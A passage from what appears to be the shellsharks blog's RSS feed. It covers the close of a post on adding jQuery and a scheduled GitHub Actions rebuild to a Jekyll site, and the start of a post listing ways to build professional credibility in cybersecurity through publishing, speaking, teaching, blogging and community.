&lt;p&gt;One component idea I had for the &lt;a href=&quot;https://shellsharks.com/statboard&quot;&gt;statboard&lt;/a&gt; was to have a counter of &lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities&quot;&gt;named vulnerabilities&lt;/a&gt;. So how could I grab that value from the page? At first, I tried fetching the &lt;a href=&quot;https://www.w3schools.com/js/js_htmldom.asp&quot;&gt;DOM&lt;/a&gt; element with the &lt;em&gt;id&lt;/em&gt; in which the count was exposed. However this failed because fetching that element alone meant &lt;strong&gt;not&lt;/strong&gt; fetching the JS and other HTML content that was used to actually generate that count. To solve for this, I used &lt;strong&gt;&lt;a href=&quot;https://jquery.com&quot;&gt;jQuery&lt;/a&gt;&lt;/strong&gt; to load the &lt;em&gt;entire&lt;/em&gt; page into a temporary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag, then iterated through the list (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;li&amp;gt;&lt;/code&gt;) elements within that &lt;em&gt;div&lt;/em&gt; (similar to how I calculate it on the origin page), and then finally set the dashboard component to the calculated count!&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/infosec-blogs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;blogs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#iblogs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blogs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h6 id=&quot;additional-notes-on-the-use-of-js-and-jquery&quot;&gt;Additional notes on the use of JS and jQuery&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;I used &lt;a href=&quot;https://developers.google.com/speed/libraries&quot;&gt;Google’s Hosted Libraries&lt;/a&gt; to reference jQuery &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Be weary of adding JS comments &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//&lt;/code&gt; in Markdown files as I noticed the Jekyll parsing engine doesn’t do a great job of new-lining, and thus everything &lt;em&gt;after&lt;/em&gt; a comment will end up being commented.&lt;/li&gt;
  &lt;li&gt;When using &lt;a href=&quot;https://jekyllrb.com/docs/liquid/&quot;&gt;Liquid&lt;/a&gt; tags in in-line JS, ensure quotes (‘’,””) are added around the templates so that the JS code will recognize those values as strings (where applicable).&lt;/li&gt;
  &lt;li&gt;The ability to add raw, arbitrary &lt;strong&gt;JS&lt;/strong&gt; means there is &lt;em&gt;a lot&lt;/em&gt; of untapped capability to add dynamic content to an otherwise static page. Keep in mind though that JS code is &lt;em&gt;client-side&lt;/em&gt;, so you are still limited in that typical &lt;em&gt;server-side&lt;/em&gt; functionality is &lt;em&gt;not&lt;/em&gt; available in this context.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;git-actions&quot;&gt;Git Actions&lt;/h2&gt;
&lt;p&gt;Thanks to the scenario I detailed in the &lt;a href=&quot;#jekyll-liquid&quot;&gt;Jekyll Liquid&lt;/a&gt; section, I was introduced to the world of &lt;strong&gt;&lt;a href=&quot;https://github.com/features/actions&quot;&gt;Git Actions&lt;/a&gt;&lt;/strong&gt;. Essentially, I needed a way to &lt;em&gt;force&lt;/em&gt; an update / regeneration of my site such that one of my staticly generated &lt;a href=&quot;https://jekyllrb.com/docs/liquid/&quot;&gt;Liquid&lt;/a&gt; tags would update at some minimum frequency (in this case, at least daily). After some Googling, I came across &lt;a href=&quot;https://stackoverflow.com/questions/24098792/how-to-force-github-pages-build/61706020#61706020&quot;&gt;this action&lt;/a&gt; which allowed me to do just that! Essentially, it forces a blank build using a &lt;a href=&quot;https://crontab.guru/every-1-hour&quot;&gt;user-defined schedule&lt;/a&gt; as the &lt;a href=&quot;https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows&quot;&gt;trigger&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# File: .github/workflows/refresh.yml
name: Refresh

on:
  schedule:
    - cron:  &apos;0 3 * * *&apos; # Runs every day at 3am

jobs:
  refresh:
    runs-on: ubuntu-latest
    steps:
      - name: Trigger GitHub pages rebuild
        run: |
          curl --fail --request POST \
            --url https://api.github.com/repos/${{ github.repository }}/pages/builds \
            --header &quot;Authorization: Bearer $USER_TOKEN&quot;
        env:
          # You must create a personal token with repo access as GitHub does
          # not yet support server-to-server page builds.
          USER_TOKEN: ${{ secrets.USER_TOKEN }}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to get this Action going, follow these steps…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Log into your &lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt; account and go to &lt;em&gt;Settings&lt;/em&gt; (in the top right) –&amp;gt; &lt;em&gt;Developer settings&lt;/em&gt; –&amp;gt; &lt;em&gt;&lt;a href=&quot;https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token&quot;&gt;Personal access tokens&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Generate new token&lt;/em&gt; and give it full &lt;em&gt;repo&lt;/em&gt; access scope (&lt;a href=&quot;https://docs.github.com/apps/building-oauth-apps/scopes-for-oauth-apps/&quot;&gt;More on OAuth scopes&lt;/a&gt;). I set mine to &lt;em&gt;never expire&lt;/em&gt;, but you can choose what works best for you.&lt;/li&gt;
  &lt;li&gt;Navigate to your GitHub Pages site repo, &lt;em&gt;***.github.io&lt;/em&gt; –&amp;gt; &lt;em&gt;Settings&lt;/em&gt; –&amp;gt; &lt;em&gt;Secrets&lt;/em&gt; –&amp;gt; &lt;em&gt;Actions&lt;/em&gt; section. Here you can add a &lt;em&gt;New repository secret&lt;/em&gt; where you give it a unique name and set the value to the &lt;em&gt;personal access token&lt;/em&gt; generated earlier.&lt;/li&gt;
  &lt;li&gt;In the root of your &lt;em&gt;local&lt;/em&gt; site repository, create a &lt;em&gt;.github/workflows/&lt;/em&gt; folder (if one doesn’t already exist).&lt;/li&gt;
  &lt;li&gt;Create a &lt;em&gt;&amp;lt;name of your choice&amp;gt;.yml&lt;/em&gt; file where you will have the actual Action code (like what was provided above).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/git-guides/git-commit&quot;&gt;Commit&lt;/a&gt; this Action file and you should be able to see &lt;em&gt;run&lt;/em&gt; details in your &lt;em&gt;repo&lt;/em&gt; –&amp;gt; &lt;em&gt;Actions&lt;/em&gt; section within GitHub.&lt;/li&gt;
&lt;/ol&gt;

&lt;h6 id=&quot;additional-considerations-for-github-actions&quot;&gt;Additional Considerations for GitHub Actions&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;When using the &lt;a href=&quot;https://jekyllrb.com/docs/liquid/&quot;&gt;Liquid&lt;/a&gt; tag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{{ site.time }}&lt;/code&gt; with a &lt;a href=&quot;https://github.com/features/actions&quot;&gt;Git Action&lt;/a&gt; triggered build, understand that it will use the time of the server which is generating the HTML, in this case the GitHub servers themselves, which means the date will be in &lt;a href=&quot;https://www.timeanddate.com/time/aboututc.html&quot;&gt;UTC&lt;/a&gt; (&lt;a href=&quot;https://www.freeconvert.com/time/utc-to-est&quot;&gt;Conversion help&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;Check out &lt;a href=&quot;https://mehmandarov.com/jekyll-content-on-time/&quot;&gt;this reference&lt;/a&gt; for informaton on how to specify the time zone in the &lt;a href=&quot;https://jekyllrb.com/docs/front-matter/&quot;&gt;front matter&lt;/a&gt; of a page or within the &lt;a href=&quot;https://jekyllrb.com/docs/configuration/&quot;&gt;Jekyll config file&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;GitHub Actions are awesome and powerful, but their are limitations to be aware of. Notably, it is important to understand the &lt;a href=&quot;https://docs.github.com/en/billing/managing-billing-for-github-actions/about-billing-for-github-actions&quot;&gt;billing considerations&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;https://docs.github.com/en/get-started/learning-about-github/githubs-products#github-free-for-personal-accounts&quot;&gt;Free&lt;/a&gt;&lt;/strong&gt; tier accounts get &lt;em&gt;2,000&lt;/em&gt; minutes/month while &lt;strong&gt;&lt;a href=&quot;https://docs.github.com/en/get-started/learning-about-github/githubs-products#github-pro&quot;&gt;Pro&lt;/a&gt;&lt;/strong&gt; tier accounts (priced at about $44/user/year) get &lt;em&gt;3,000&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;For reference, the &lt;em&gt;refresh&lt;/em&gt; action (provided above) was running (for me) at about 13 seconds per trigger. This means you could run that action over &lt;em&gt;9,000&lt;/em&gt; times without exceeding the minute cap for a Free-tier account.&lt;/li&gt;
  &lt;li&gt;With the above said, also consider that the default &lt;em&gt;pages-build-deployment&lt;/em&gt; Action used by GitHub Pages to actually generate and deploy your site upon commit will also consume those allocated minutes. Upon looking at my Actions pane, I am seeing about 1m run-times for each build-and-deploy action trigger.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;whats-next&quot;&gt;What’s Next&lt;/h2&gt;
&lt;p&gt;I’ve only just started to scratch the surface of how I can further extend and &lt;em&gt;dynamize&lt;/em&gt; my &lt;a href=&quot;https://jekyllrb.com&quot;&gt;Jekyll&lt;/a&gt;-based site. In future updates to this guide (or in future posts), I plan to cover more &lt;a href=&quot;https://github.blog/2021-11-18-7-advanced-workflow-automation-features-with-github-actions/&quot;&gt;advanced GitHub Action&lt;/a&gt; capabilities as well as how else to add server-side functionality (maybe through &lt;em&gt;&lt;a href=&quot;https://aws.amazon.com/lambda/&quot;&gt;serverless&lt;/a&gt;&lt;/em&gt;!) to the site. &lt;em&gt;Stay tuned!&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 25 Aug 2022 14:23:00 -0400</pubDate>
        <link>https://shellsharks.com/dynamize-jekyll</link>
        <guid isPermaLink="true">https://shellsharks.com/dynamize-jekyll</guid>
        
        <category>technology</category>
        
        <category>git</category>
        
        <category>jekyll</category>
        
        <category>blogging</category>
        
        <category>actions</category>
        
        <category>cicd</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Boosting Your Cyber Clout</title>
        <shark:summary><p>I <a href="https://www.reddit.com/r/cybersecurity/comments/wwkfzp/how_do_you_boost_your_professional_creds/ilmpjbm/?context=3">engaged</a> on a <a href="https://www.reddit.com/r/cybersecurity/">r/cybersecurity</a> thread recently where the question was posed, <em><a href="https://www.reddit.com/r/cybersecurity/comments/wwkfzp/how_do_you_boost_your_professional_creds/">how someone in the (cybersecurity) industry can “boost” their professional credentials</a></em>, or otherwise increase their credibility, visibility, professional stature and general “<strong>cyber clout</strong>” - outside the traditional methods of <a href="https://shellsharks.com/training-retrospective#title">education</a> and certification. I thought this was a pretty interesting ask and as someone who has gone down this path <em>a bit</em> (having a <a href="https://shellsharks.com/">blog</a>, <a href="https://shellsharks.social/@shellsharks">infosec-specific Mastodon</a> account, etc…), I figured I would weigh in with other ideas (<em>in no particular order</em>) I had related to increasing said cred.</p>
</shark:summary>
        <description>&lt;p&gt;I &lt;a href=&quot;https://www.reddit.com/r/cybersecurity/comments/wwkfzp/how_do_you_boost_your_professional_creds/ilmpjbm/?context=3&quot;&gt;engaged&lt;/a&gt; on a &lt;a href=&quot;https://www.reddit.com/r/cybersecurity/&quot;&gt;r/cybersecurity&lt;/a&gt; thread recently where the question was posed, &lt;em&gt;&lt;a href=&quot;https://www.reddit.com/r/cybersecurity/comments/wwkfzp/how_do_you_boost_your_professional_creds/&quot;&gt;how someone in the (cybersecurity) industry can “boost” their professional credentials&lt;/a&gt;&lt;/em&gt;, or otherwise increase their credibility, visibility, professional stature and general “&lt;strong&gt;cyber clout&lt;/strong&gt;” - outside the traditional methods of &lt;a href=&quot;https://shellsharks.com/training-retrospective#title&quot;&gt;education&lt;/a&gt; and certification. I thought this was a pretty interesting ask and as someone who has gone down this path &lt;em&gt;a bit&lt;/em&gt; (having a &lt;a href=&quot;https://shellsharks.com/&quot;&gt;blog&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;infosec-specific Mastodon&lt;/a&gt; account, etc…), I figured I would weigh in with other ideas (&lt;em&gt;in no particular order&lt;/em&gt;) I had related to increasing said cred.&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;publish-research&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Publish research&lt;/strong&gt; - Publishing research through a personal blog/website, academic institution, company blog, guest-submission on an external site, or through other research journals is a great way to get your ideas out in the wild.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://infosecwriteups.com/submission-guidelines-3952000f119&quot;&gt;InfoSec Writeups on Medium Submission&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.usenix.org/conference/usenixsecurity12/how-to-submit&quot;&gt;USENIX Paper Submission&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://explore.researchgate.net/display/support/How+to+add+research&quot;&gt;ResearchGate Publication Guidelines&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.springer.com/journal/10207/submission-guidelines&quot;&gt;International Journal of Information Security Submission&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.elsevier.com/journals/journal-of-information-security-and-applications/2214-2126/guide-for-authors&quot;&gt;Journal of Information Security and Applications Submission&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.springeropen.com/get-published&quot;&gt;Springer Open Publishing Guidelines&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.tandfonline.com/action/authorSubmission?show=instructions&amp;amp;journalCode=uiss20&quot;&gt;Information Security Journal: A Global Perspective&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://blog.bugzero.io/grow-with-us-67c4cd9a21a5&quot;&gt;Bug Zero&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Hey&lt;/em&gt;, if you’re interested in writing for &lt;a href=&quot;https://shellsharks.com/&quot;&gt;shellsharks&lt;/a&gt;, feel free to &lt;a href=&quot;mailto:mike@shellsharks.com&quot;&gt;send me an email&lt;/a&gt;!
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;speaking&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Speaking engagements&lt;/strong&gt; - Speaking at &lt;a href=&quot;https://infosec-conferences.com&quot;&gt;conferences&lt;/a&gt;, internally at your company, through meetup groups, in &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#online-communities&quot;&gt;online communities&lt;/a&gt; or even &lt;a href=&quot;https://support.google.com/youtube/answer/1646861?hl=en&quot;&gt;YouTube&lt;/a&gt; can certainly get your name and ideas out to a wide audience. Keep a look out for CFPs (&lt;em&gt;Call for Papers&lt;/em&gt;) and &lt;em&gt;Call for Speakers&lt;/em&gt; from known security conferences.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://cfptime.org/home&quot;&gt;CFPTime&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/call-for-papers.html&quot;&gt;Black Hat CFP&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://defcon.org/html/links/get-involved.html&quot;&gt;DEF CON Submit a Talk&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.rsaconference.com/experts/become-a-contributor&quot;&gt;RSA Contributor&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://bsideslv.org/cfp&quot;&gt;BSides LV CFP&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://bsidessf.org/cfp&quot;&gt;BSidesSF CFP&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://owasp.org/chapters/&quot;&gt;Local OWASP Chapters&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;http://www.securitybsides.com/w/page/12194156/FrontPage&quot;&gt;BSides FrontPage&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.appsecvillage.com/cfp&quot;&gt;AppSec Village Call for Speakers&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://intentsummit.org&quot;&gt;Intent Summit&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.cackalackycon.org&quot;&gt;Cackalackycon&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://tmpout.sh/blog/vol3-cfp.html&quot;&gt;tmp.0ut&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://cfp.44con.com&quot;&gt;44CON&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://madweb.work&quot;&gt;MADWeb&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://cyphercon.com/cfp/&quot;&gt;CypherCon&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://opensourcecryptowork.shop&quot;&gt;Open Source Cryptography Workshop&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;teaching&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Teaching&lt;/strong&gt; - Teaching is an excellent option for connecting with others in the industry and boosting credentials. This can come in many different forms - university professor, teaching for a training organization, developing a course for an &lt;a href=&quot;https://shellsharks.com/online-training#title&quot;&gt;online training platform&lt;/a&gt;, leading company-internal classes as an instructor or even developing your own training and offering it via the medium of your choice (e.g. your blog, &lt;a href=&quot;https://www.youtube.com/user/teachers&quot;&gt;YouTube&lt;/a&gt;, &lt;a href=&quot;https://www.twitch.tv/teach&quot;&gt;Twitch&lt;/a&gt;, &lt;em&gt;whatever&lt;/em&gt;!)
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.sans.org/teach/&quot;&gt;Become a SANS Instructor&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.pluralsight.com/teach&quot;&gt;Become a Pluralsight Author&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://learning.linkedin.com/instructors&quot;&gt;Become a LinkedIn Instructor&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://thrivedx.com/careers&quot;&gt;ThriveDX Instructor&lt;/a&gt; (&lt;em&gt;formerly HackerU&lt;/em&gt;)&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.cybrary.it/blog/0p3n/share-knowledge-world-teach-cybrary/&quot;&gt;Teach on Cybrary&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.udemy.com/teaching/?ref=teach_header&quot;&gt;Teach on Udemy&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.coursera.org/teaching-center/&quot;&gt;Coursera Teaching Center&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://opensecuritytraining.info/SubmitContent.html&quot;&gt;Open Security Training Submit Content&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;blog&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Blog / website&lt;/strong&gt; - I’m a &lt;em&gt;huge&lt;/em&gt; proponent of (professional) blogging and believe it comes with a &lt;a href=&quot;https://shellsharks.com/you-should-blog#so-why-blog&quot;&gt;multitude of benefits&lt;/a&gt;. You are able to publish research in your own way, expose custom tools, link out to all your other Internet points-of-presence and use it as a way to consistently engage with others in the community/cybersecurity field.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://medium.com/tag/cybersecurity&quot;&gt;Contribute Cybersecurity content on Medium&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://wordpress.com&quot;&gt;WordPress&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://pages.github.com&quot;&gt;GitHub Pages&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.blogger.com/about/&quot;&gt;Blogger&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.squarespace.com/templates&quot;&gt;SquareSpace&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/blogging-from-ipad#title&quot;&gt;Hosting and tooling info for shellsharks&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;social&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Social media presence&lt;/strong&gt; - The preiminent form of online engagement. There are a multitude of social media services in which you can have a presence, engage with others in the community and grow your “brand”.
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt;&lt;/em&gt;: There is a pretty sizable infosec community on Mastodon these days. There are a lot of potential instances to join, &lt;a href=&quot;https://infosec.exchange/getting-started&quot;&gt;infosec.exchange&lt;/a&gt; is a great one for security pros! (You can find me &lt;strong&gt;&lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;@shellsharks.com&lt;/a&gt;&lt;/strong&gt;)&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.linkedin.com/help/linkedin/answer/2964/signing-up-to-join-linkedin?lang=en&quot;&gt;LinkedIn&lt;/a&gt;&lt;/em&gt;: Linkedin is an obvious option for connecting with professionals, posting content and meeting others in the industry.&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Other&lt;/em&gt;: &lt;a href=&quot;https://www.instagram.com/accounts/emailsignup/?hl=en&quot;&gt;Instagram&lt;/a&gt;, &lt;a href=&quot;https://support.google.com/youtube/answer/1646861?hl=en&quot;&gt;YouTube&lt;/a&gt;, &lt;a href=&quot;https://help.twitch.tv/s/article/creating-an-account-with-twitch?language=en_US&quot;&gt;Twitch&lt;/a&gt; and more. People consume information and media in many ways and these popular services are a medium to reach the multitudes.
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;community&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Community engagement &amp;amp; networking&lt;/strong&gt; - There are plenty of ways to connect with others in the industry. Many of which I’ve already covered! &lt;a href=&quot;https://www.linkedin.com/help/linkedin/answer/2964/signing-up-to-join-linkedin?lang=en&quot;&gt;Linkedin&lt;/a&gt; (&lt;em&gt;of course&lt;/em&gt;), &lt;a href=&quot;https://infosec-conferences.com&quot;&gt;conferences&lt;/a&gt;, meet-ups, etc… They say it’s not who you know, it’s who knows you, so get out there and introduce yourself to people!
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://forum.defcon.org/social-groups&quot;&gt;DEF CON Groups&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/2016/07/11/local-cybersecurity-meetups-near-you/&quot;&gt;Meetup list from Rapid7&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://forum.defcon.org&quot;&gt;DEF CON Forums&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/getting-into-information-security#online-communities&quot;&gt;List of Online Communities | Shellsharks&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Reddit: &lt;a href=&quot;https://www.reddit.com/r/cybersecurity/&quot;&gt;r/cybersecurity&lt;/a&gt;, &lt;a href=&quot;https://www.reddit.com/r/netsec/&quot;&gt;r/netsec&lt;/a&gt;, &lt;a href=&quot;https://www.reddit.com/r/netsecstudents/&quot;&gt;r/netsecstudents&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://infosec-conferences.com&quot;&gt;Infosec Conferences&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://owasp.org/chapters/&quot;&gt;Local OWASP Chapters&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;http://www.securitybsides.com/w/page/12194156/FrontPage&quot;&gt;BSides FrontPage&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://discuss.secdim.com&quot;&gt;SECDIM&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://updatedsecurity.com&quot;&gt;UpdatedSecurity&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.societyinforisk.org&quot;&gt;Society of Information Risk Analysts&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Host a Community - Hosting a Discord server, Fediverse instance, Reddit community etc is a great way to network and gain visibility in the community.
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;podcasting&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Podcasting&lt;/strong&gt; - &lt;a href=&quot;https://riverside.fm/blog/what-is-a-podcast&quot;&gt;Podcasting&lt;/a&gt; is a growing medium and one that is well suited for both a casual-listening audience and for those who want slightly more technical content. If talking is your medium rather than writing, podcasting could be a good choice for you!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;side&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Side business&lt;/strong&gt; - Having a successful side business, or even starting up your own primary business is a good way to establish yourself as a &lt;em&gt;doer&lt;/em&gt; in the field.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;cve&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
